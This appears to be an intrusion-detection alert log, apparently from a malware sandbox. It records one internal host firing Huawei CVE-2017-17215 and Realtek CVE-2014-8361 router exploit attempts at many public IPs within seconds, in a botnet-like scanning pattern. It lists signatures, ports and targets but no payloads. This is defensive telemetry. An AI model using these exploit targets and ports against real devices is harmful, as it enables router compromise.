SID:	2027339
Source Port:	42088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 200.134.207.26

Timestamp:	07/20/24-23:01:29.172557
SID:	2831300
Source Port:	54266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.114.14

Timestamp:	07/20/24-23:01:22.779211
SID:	2829579
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.113.216.32

Timestamp:	07/20/24-23:01:25.348386
SID:	2025132
Source Port:	57192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.107.82

Timestamp:	07/20/24-23:01:22.779210
SID:	2835222
Source Port:	43286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.216.178

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	59410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.131.64.64

Timestamp:	07/20/24-23:01:02.413580
SID:	2829579
Source Port:	54692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 58.199.141.7

Timestamp:	07/20/24-23:01:25.127718
SID:	2025132
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.68.46

Timestamp:	07/20/24-23:01:25.294369
SID:	2829579
Source Port:	33690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.224.117.209

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.66.212.124

Timestamp:	07/20/24-23:01:02.411662
SID:	2835222
Source Port:	36536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.75.196

Timestamp:	07/20/24-23:01:07.658261
SID:	2829579
Source Port:	54066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.251.100

Timestamp:	07/20/24-23:01:28.142626
SID:	2829579
Source Port:	53982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.121.155

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	40960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.154.56.66

Timestamp:	07/20/24-23:01:19.222378
SID:	2829579
Source Port:	47648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 126.63.129.65

Timestamp:	07/20/24-23:01:06.852960
SID:	2025132
Source Port:	46686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.8.16.158

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	46538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.236.37.80

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	40242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 79.199.66.178

Timestamp:	07/20/24-23:01:07.465802
SID:	2025132
Source Port:	51724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.76.24.65

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	56566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.225.101

Timestamp:	07/20/24-23:01:37.128294
SID:	2835222
Source Port:	58404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.206.177.107

Timestamp:	07/20/24-23:01:11.448569
SID:	2835222
Source Port:	43070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.10.61

Timestamp:	07/20/24-23:01:11.454990
SID:	2835222
Source Port:	49776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.237.75.229

Timestamp:	07/20/24-23:01:37.120918
SID:	2829579
Source Port:	57708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 124.90.204.138

Timestamp:	07/20/24-23:01:13.331147
SID:	2831300
Source Port:	58830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.208.127.244

Timestamp:	07/20/24-23:01:02.405571
SID:	2835222
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.108.228

Timestamp:	07/20/24-23:01:14.397565
SID:	2835222
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.2.151.170

Timestamp:	07/20/24-23:01:28.196416
SID:	2835222
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.79.78.213

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	60574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.100.170.105

Timestamp:	07/20/24-23:01:37.121494
SID:	2835222
Source Port:	33094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.48.141

Timestamp:	07/20/24-23:01:28.142898
SID:	2835222
Source Port:	38564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.80.241.91

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	41186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 107.169.50.209

Timestamp:	07/20/24-23:01:24.495331
SID:	2027339
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 158.56.98.102

Timestamp:	07/20/24-23:01:31.092418
SID:	2027339
Source Port:	40184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.109.215

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.235.55

Timestamp:	07/20/24-23:01:22.776061
SID:	2835222
Source Port:	58628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.162.138.179

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	51876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 61.33.247.239

Timestamp:	07/20/24-23:01:34.911249
SID:	2027339
Source Port:	46828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 114.173.101.131

Timestamp:	07/20/24-23:01:05.871044
SID:	2027339
Source Port:	56844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 196.52.15.30

Timestamp:	07/20/24-23:01:06.007807
SID:	2025132
Source Port:	54724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.20.58.187

Timestamp:	07/20/24-23:01:19.334827
SID:	2835222
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 19.130.123.151

Timestamp:	07/20/24-23:01:06.571768
SID:	2025132
Source Port:	52350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.38.72

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	43642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 23.217.181.6

Timestamp:	07/20/24-23:01:32.304172
SID:	2027339
Source Port:	34960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.249.158.201

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	55854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.215.167.105

Timestamp:	07/20/24-23:01:33.084068
SID:	2835222
Source Port:	46814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.118.207.216

Timestamp:	07/20/24-23:01:33.727604
SID:	2027339
Source Port:	58358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 86.27.131.229

Timestamp:	07/20/24-23:01:34.902376
SID:	2027339
Source Port:	59926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.243.25

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	47768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 128.88.211.196

Timestamp:	07/20/24-23:01:24.831419
SID:	2025132
Source Port:	37032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.41.98.206

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	33254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 155.24.113.226

Timestamp:	07/20/24-23:01:29.169445
SID:	2831300
Source Port:	53600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 53.20.227.219

Timestamp:	07/20/24-23:01:31.312736
SID:	2027339
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.65.233.115

Timestamp:	07/20/24-23:01:14.396852
SID:	2829579
Source Port:	52058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.53.169.200

Timestamp:	07/20/24-23:01:19.220464
SID:	2829579
Source Port:	38182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.237.27.139

Timestamp:	07/20/24-23:01:19.222257
SID:	2829579
Source Port:	50912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.56.19

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	47138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.81.229.141

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	58354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.130.233

Timestamp:	07/20/24-23:01:19.334293
SID:	2835222
Source Port:	58748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.36.46

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	40738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.245.252

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	34432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 145.28.17.66

Timestamp:	07/20/24-23:01:34.935674
SID:	2027339
Source Port:	41694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 88.254.0.55

Timestamp:	07/20/24-23:01:34.937254
SID:	2027339
Source Port:	54284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.242.103

Timestamp:	07/20/24-23:01:11.472602
SID:	2835222
Source Port:	42530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 135.98.136.137

Timestamp:	07/20/24-23:01:29.171040
SID:	2831300
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.73.86.148

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	59936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.217.163.116

Timestamp:	07/20/24-23:01:30.707836
SID:	2025132
Source Port:	55866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 85.145.238.146

Timestamp:	07/20/24-23:01:29.677384
SID:	2025132
Source Port:	36664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 106.0.79.225

Timestamp:	07/20/24-23:01:29.172029
SID:	2027339
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.126.253.193

Timestamp:	07/20/24-23:01:24.075555
SID:	2027339
Source Port:	47570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.219.107.170

Timestamp:	07/20/24-23:01:29.176022
SID:	2831300
Source Port:	48410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 173.171.125.50

Timestamp:	07/20/24-23:01:13.335233
SID:	2831300
Source Port:	40286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.209.246.42

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.131.193.232

Timestamp:	07/20/24-23:01:34.940230
SID:	2027339
Source Port:	44122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.242.39.199

Timestamp:	07/20/24-23:01:02.410515
SID:	2829579
Source Port:	46694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.39.180.182

Timestamp:	07/20/24-23:01:13.329969
SID:	2027339
Source Port:	44222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.106.160

Timestamp:	07/20/24-23:01:19.233961
SID:	2829579
Source Port:	48132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 194.152.67.254

Timestamp:	07/20/24-23:01:24.080444
SID:	2831300
Source Port:	51424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 102.213.194.254

Timestamp:	07/20/24-23:01:22.846232
SID:	2027339
Source Port:	55654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 109.148.201.214

Timestamp:	07/20/24-23:01:24.468357
SID:	2025132
Source Port:	41214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.60.103.183

Timestamp:	07/20/24-23:01:07.682290
SID:	2835222
Source Port:	56258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.151.140.35

Timestamp:	07/20/24-23:01:37.121494
SID:	2829579
Source Port:	33716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.79.148.22

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	36840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.130.100.14

Timestamp:	07/20/24-23:01:11.452806
SID:	2829579
Source Port:	34856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 162.138.211.72

Timestamp:	07/20/24-23:01:13.330519
SID:	2831300
Source Port:	43944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.154.40

Timestamp:	07/20/24-23:01:33.081951
SID:	2829579
Source Port:	58334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.243.41

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	33700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.48.141

Timestamp:	07/20/24-23:01:28.142898
SID:	2829579
Source Port:	38564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.85.153.115

Timestamp:	07/20/24-23:01:34.907114
SID:	2027339
Source Port:	42378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.229.64

Timestamp:	07/20/24-23:01:11.468893
SID:	2829579
Source Port:	58846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.38.134.195

Timestamp:	07/20/24-23:01:19.337916
SID:	2835222
Source Port:	58104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.226.137.50

Timestamp:	07/20/24-23:01:28.145934
SID:	2829579
Source Port:	35902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 89.251.44.55

Timestamp:	07/20/24-23:01:34.928965
SID:	2027339
Source Port:	57576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.128.49

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.115.103.221

Timestamp:	07/20/24-23:01:11.454189
SID:	2829579
Source Port:	45818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 210.189.81.4

Timestamp:	07/20/24-23:01:29.541847
SID:	2025132
Source Port:	41856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 128.98.160.122

Timestamp:	07/20/24-23:01:13.329717
SID:	2831300
Source Port:	60690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 51.61.18.6

Timestamp:	07/20/24-23:01:31.132775
SID:	2027339
Source Port:	42504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.242.91.59

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	54706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.217.25

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	33210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.251.168.249

Timestamp:	07/20/24-23:01:24.713301
SID:	2027339
Source Port:	49406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 170.133.86.186

Timestamp:	07/20/24-23:01:24.075800
SID:	2831300
Source Port:	33066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

